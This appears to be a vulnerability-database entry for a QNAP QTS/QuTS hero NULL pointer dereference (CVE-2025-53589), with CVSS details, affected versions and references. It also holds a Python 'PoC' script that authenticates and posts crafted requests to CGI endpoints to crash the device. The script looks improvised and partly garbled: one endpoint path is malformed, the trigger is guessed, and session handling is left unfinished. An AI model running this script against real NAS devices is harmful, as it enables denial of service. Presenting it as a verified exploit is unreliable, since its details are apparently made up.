CVE-2025-53589

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.7.3256 build 20250913 and later QuTS hero h5.2.7.3256 build 20250913 and later QuTS hero h5.3.1.3250 build 20250912 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.7.3256 build 20250913

QNAP QuTS hero h5.2.7.3256 build 20250913

QNAP QuTS hero h5.3.1.3250 build 20250912

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# CVE-2025-53589 NULL Pointer Dereference PoC
# Target: QNAP NAS devices running vulnerable QTS/QuTS hero versions
# Note: Requires administrator credentials

import requests
import sys
import argparse
from urllib.parse import urljoin

def exploit_cve_2025_53589(target_url, username, password):
    """
    Exploit for CVE-2025-53589: QNAP NULL Pointer Dereference
    This PoC demonstrates the vulnerability by triggering the NULL pointer dereference
    condition in the affected QNAP service.
    """
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Credential: {username}:****")
    
    # Setup session
    session = requests.Session()
    
    # Step 1: Authentication
    login_url = urljoin(target_url, '/cgi-bin/authLogin.cgi')
    login_data = {
        'username': username,
        'password': password
    }
    
    try:
        print("[*] Attempting authentication...")
        resp = session.post(login_url, data=login_data, timeout=10)
        
        if 'authSid' not in resp.text and resp.status_code != 200:
            print("[-] Authentication failed!")
            return False
            
        print("[+] Authentication successful!")
        
        # Step 2: Extract session token
        # In real attack, parse authSid from response
        
        # Step 3: Trigger NULL pointer dereference
        # The exact API endpoint varies by version
        exploit_urls = [
            '/cgi-bin/cfw/]().cgi',
            '/cgi-bin/filemanager/utilRequest.cgi',
            '/cgi-bin/sys/sysRequest.cgi'
        ]
        
        print("[*] Sending exploit payload...")
        
        for path in exploit_urls:
            exploit_url = urljoin(target_url, path)
            exploit_data = {
                'func': 'undefined',  # Triggers NULL pointer
                'sid': session.cookies.get('authSid', '')
            }
            
            try:
                resp = session.post(exploit_url, data=exploit_data, timeout=5)
                print(f"[*] Tested: {path} - Status: {resp.status_code}")
            except requests.exceptions.RequestException as e:
                print(f"[!] Exploit triggered (service crash): {e}")
                return True
                
        print("[+] Exploit sent - Target may be affected")
        
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    
    return True

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='CVE-2025-53589 PoC')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-u', '--username', required=True, help='Admin username')
    parser.add_argument('-p', '--password', required=True, help='Admin password')
    
    args = parser.parse_args()
    exploit_cve_2025_53589(args.target, args.username, args.password)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53589
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53589
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53589/
[4] VulDB https://vuldb.com/cve/CVE-2025-53589
[5] https://www.qnap.com/en/security-advisory/qsa-25-50

Raw JSON Data

JSON

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